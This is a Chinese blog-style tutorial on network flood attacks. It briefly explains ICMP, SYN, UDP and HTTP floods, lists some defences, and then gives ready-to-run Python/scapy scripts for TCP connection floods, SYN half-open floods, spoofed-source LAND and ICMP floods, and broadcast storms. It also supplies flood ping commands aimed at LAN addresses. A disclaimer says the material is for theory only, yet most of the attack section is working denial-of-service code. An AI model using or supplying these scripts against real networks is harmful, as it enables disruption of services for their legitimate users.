泛洪攻击(Flood Attack)

执行网络攻击,包括 Ping 泛洪攻击,在绝大多数国家/地区都是非法的,它违反了计算机犯罪法律和条例。执行或尝试执行这样的攻击通常会导致法律后果,包括罚款和监禁。因此,这些信息仅供理论学习和了解,绝不应用于非法活动。

"泛洪攻击"(Flood Attack)是一种常见的网络攻击类型,其基本思路是通过极大量的网络请求来消耗目标系统的资源,从而使目标系统过载、响应缓慢或者完全无响应。这种攻击通常用来实现 DoS(拒绝服务)或 DDoS(分布式拒绝服务)攻击。

泛洪攻击的目的

泛洪攻击的主要目的通常是中断目标服务的正常运行。攻击者尝试通过超载目标的网络和/或资源(比如带宽、CPU、内存等)来使其无法为合法用户提供服务。

泛洪攻击的常见类型

1. ICMP 泛洪攻击

攻击者向目标发送大量的 ICMP Echo 请求(通常通过 ping 命令实现)来消耗网络带宽和处理资源。

2. SYN 泛洪攻击

攻击者发送大量的 SYN(同步)包,试图与目标主机建立大量的半开放连接,从而消耗其资源并尝试使其无法处理新的连接请求。

3. UDP 泛洪攻击

攻击者向目标主机发送大量的无用 UDP 包,旨在耗尽目标的网络带宽和处理能力。

4. HTTP 泛洪攻击

攻击者生成大量的 HTTP 请求,目的是耗尽目标 Web 服务器的资源。

泛洪攻击的防御

防御泛洪攻击通常涉及多种策略和工具的组合,例如:

  • 使用防火墙和 IDS(入侵检测系统)来检测并阻止异常流量。
  • 配置路由器和交换机以限制来自同一源的连接数或数据包率。
  • 使用 CDN(内容分发网络)或 DDoS 防护服务来分散攻击流量。
  • 实施负载均衡来分担服务器的负载。
  • 使用 Web 应用程序防火墙(WAF)来过滤恶意 HTTP 请求。

泛洪攻击的实现

1. socket, tcp三次握手
py 复制代码
import socket
from scapy.layers.inet import IP, TCP, ICMP
from scapy.sendrecv import send, sendp

def socket_flood(ip, port):
    while True:
        s = socket.socket()
        s.connect((ip, port))
        
if __name__ == '__main__':
    ip = '192.168.110.130'
    port = 5000
    for i in range(500):
        threading.Thread(target=socket_flood, args=(ip, port)).start()
2. scapy, 半连接
py 复制代码
def scapy_flood(ip, port):
    while True:
        sport = random.randint(10000, 30000) # 随机源端口
        pkg = IP(dst=ip)/TCP(sport=sport, dport=port, flags='S')
        send(pkg, verbose=False)
3. scapy, TCP Land

将源ip伪造成与目标ip一样

py 复制代码
def tcp_land(ip, port):
    while True:
        sport = random.randint(10000, 30000)
        pkg = IP(src=ip, dst=ip)/TCP(sport=sport, dport=port, flags='S')
        send(pkg, verbose=False)
4. scapy, icmp 内网泛洪

伪造内网ip, 从ip层进行攻击, 不针对某一个端口

py 复制代码
def icmp_flood(ip):
    ip_list = ['192.168.110.130','192.168.110.129','192.168.110.128','192.168.110.131']
    payload = 'abcdefghijkabc'*100
    while True:
        src_ip = random.choice(ip_list)
        pkg = IP(src=src_ip, dst=ip)/ICMP()/payload*100  # 100个数据包
        send(pkg, verbose=False)
5. scapy, icmp 内网广播风暴

在内网将payload发送给255地址, 那么处于同一个网段内的ip都将获取到广播数据包.

支持广播的协议都可以做到, 比如UDP协议.

py 复制代码
def icmp_broadcast():
    payload = 'abcdefghijkabc'*100
    while True:
        pkg = IP(dst='192.168.112.255')/ICMP()/payload*100
        send(pkg, verbose=False)
        
6. Linux 中的 ping 命令
6.1 ping -i -s

在linux系统中使用 ping 命令的 -i -s 参数:

-i 参数用于指定连续两个 ping 包之间的间隔时间(秒为单位)

-s 参数用于指定要发送的数据包的大小(字节为单位)

将每次ping的间隔设置到非常短, 比如1ms.

将ping的数据包设置到非常大, 这个值要根据目标服务器能够接受的字节大小来设置, 需要探测.

py 复制代码
ping -i 0.001 -s 5000 192.168.110.129 # 间隔1ms, 每个5000字节

在windows系统中的 ping 不能设置 ICMP 报文的发送间隔, 间隔默认最快为1s.

6.2 ping -f

ping -f 被用于 "flood ping"。Flood ping 是向目标地址发送大量的 ping 请求包,常常用于压力测试网络。在允许这个选项的系统中,通常只有超级用户(root)能够执行带有 -f 参数的 ping 命令,因为滥用它可以轻易地导致网络拥堵。

py 复制代码
ping -f 192.168.110.129
相关推荐
程序员mine3 天前
HTTPS-TLS加密与证书完全指南(中)
网络协议·https·ssl
之歆3 天前
现代 HTTP 客户端深度解析:Fetch 与 Axios
chrome·网络协议·http
酉鬼女又兒3 天前
零基础入门计算机网络运输层:端到端通信核心作用、端口号分类规则、复用分用工作机制及UDP与TCP协议全方位对比详解
网络·网络协议·tcp/ip·计算机网络·考研·udp·php
dog2503 天前
不要再继续优化 TCP
网络协议·tcp/ip·php
程序员mine3 天前
HTTPS-TLS加密与证书完全指南(上)
网络协议·https
VidDown3 天前
视频帧率技术详解:从 24fps 到 120fps,帧率如何影响你的观看体验?
网络·网络协议·编辑器·音视频·视频编解码·视频
程序员mine3 天前
HTTPS-TLS加密与证书完全指南(下)
网络协议·http·https
hbugs0013 天前
EVE-NG V7常用网络协议流量洞察Filter
网络·网络协议
七夜zippoe3 天前
DolphinDB WebSocket接入:实时数据流
网络·websocket·网络协议·dolphindb·实时数据流
勇敢牛牛_3 天前
Zeplyn:通过P2P构建服务共享网络
网络·网络协议·p2p·服务